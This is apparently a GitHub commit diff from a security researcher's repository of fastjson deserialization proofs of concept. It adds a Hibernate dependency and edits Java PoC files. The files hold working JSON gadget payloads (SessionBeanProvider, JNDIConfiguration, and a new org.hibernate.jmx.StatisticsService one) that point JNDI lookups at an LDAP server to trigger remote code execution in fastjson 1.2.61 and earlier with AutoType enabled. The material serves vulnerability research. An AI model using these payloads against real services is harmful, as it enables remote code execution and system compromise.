Skip to content

Commit d2e91b7

Browse files
author
xuanyh
committed
fix:CommonsProxyPoc
1 parent abc4d5f commit d2e91b7

File tree

3 files changed

+34
-5
lines changed

3 files changed

+34
-5
lines changed

pom.xml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -158,6 +158,31 @@
158158
<artifactId>commons-proxy</artifactId>
159159
<version>1.0</version>
160160
</dependency>
161+
162+
<!-- hibernate -->
163+
<dependency>
164+
<groupId>org.hibernate</groupId>
165+
<artifactId>hibernate</artifactId>
166+
<version>3.2.1.ga</version>
167+
<exclusions>
168+
<exclusion>
169+
<groupId>javax.transaction</groupId>
170+
<artifactId>jta</artifactId>
171+
</exclusion>
172+
<exclusion>
173+
<groupId>asm</groupId>
174+
<artifactId>asm</artifactId>
175+
</exclusion>
176+
<exclusion>
177+
<groupId>asm</groupId>
178+
<artifactId>asm-attrs</artifactId>
179+
</exclusion>
180+
<exclusion>
181+
<groupId>cglib</groupId>
182+
<artifactId>cglib</artifactId>
183+
</exclusion>
184+
</exclusions>
185+
</dependency>
161186
</dependencies>
162187

163188
<build>

src/main/java/com/threedr3am/bug/fastjson/CommonsProxyPoc.java

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,9 @@
33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.parser.ParserConfig;
55
import com.threedr3am.bug.server.LdapServer;
6+
import com.threedr3am.bug.server.RmiServer;
67
import java.util.Collection;
8+
import org.apache.commons.proxy.provider.remoting.RmiProvider;
79

810
/**
911
* fastjson <= 1.2.61 RCE,需要开启AutoType
@@ -22,18 +24,20 @@ public class CommonsProxyPoc {
2224

2325
public static void main(String[] args) {
2426
//TODO 使用rmi server模式时,jdk版本高的需要开启URLCodebase trust
25-
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
26-
27+
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
2728

2829
ParserConfig.global.setAutoTypeSupport(true);
2930

3031
// String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://localhost:43657/Calc\"}";
3132
String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:43658/Calc\",\"Object\":\"a\"}";
33+
3234
try {
33-
JSON.parse(payload);
35+
JSON.parseObject(payload);
3436
} catch (Exception e) {
3537
e.printStackTrace();
3638
}
37-
JSON.parse(payload);
39+
40+
41+
JSON.parseObject(payload);
3842
}
3943
}

src/main/java/com/threedr3am/bug/fastjson/TestPoc.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ public static void main(String[] args) {
2424
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
2525

2626
// String payload = "{\"@\\u0074ype\":\"org.apache.commons.configuration.JNDIConfiguration\",\"jndiLocation\":\"ldap://localhost:43658/Calc\"}";//ldap方式
27-
String payload = "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"jndiLocation\":\"ldap://localhost:43658/Calc\"}";//ldap方式
27+
String payload = "{\"@type\":\"org.hibernate.jmx.StatisticsService\",\"sessionFactoryJNDIName\":\"ldap://localhost:43658/Calc\"}";//ldap方式
2828
JSON.parse(payload);
2929
}
3030
}

0 commit comments

Comments
 (0)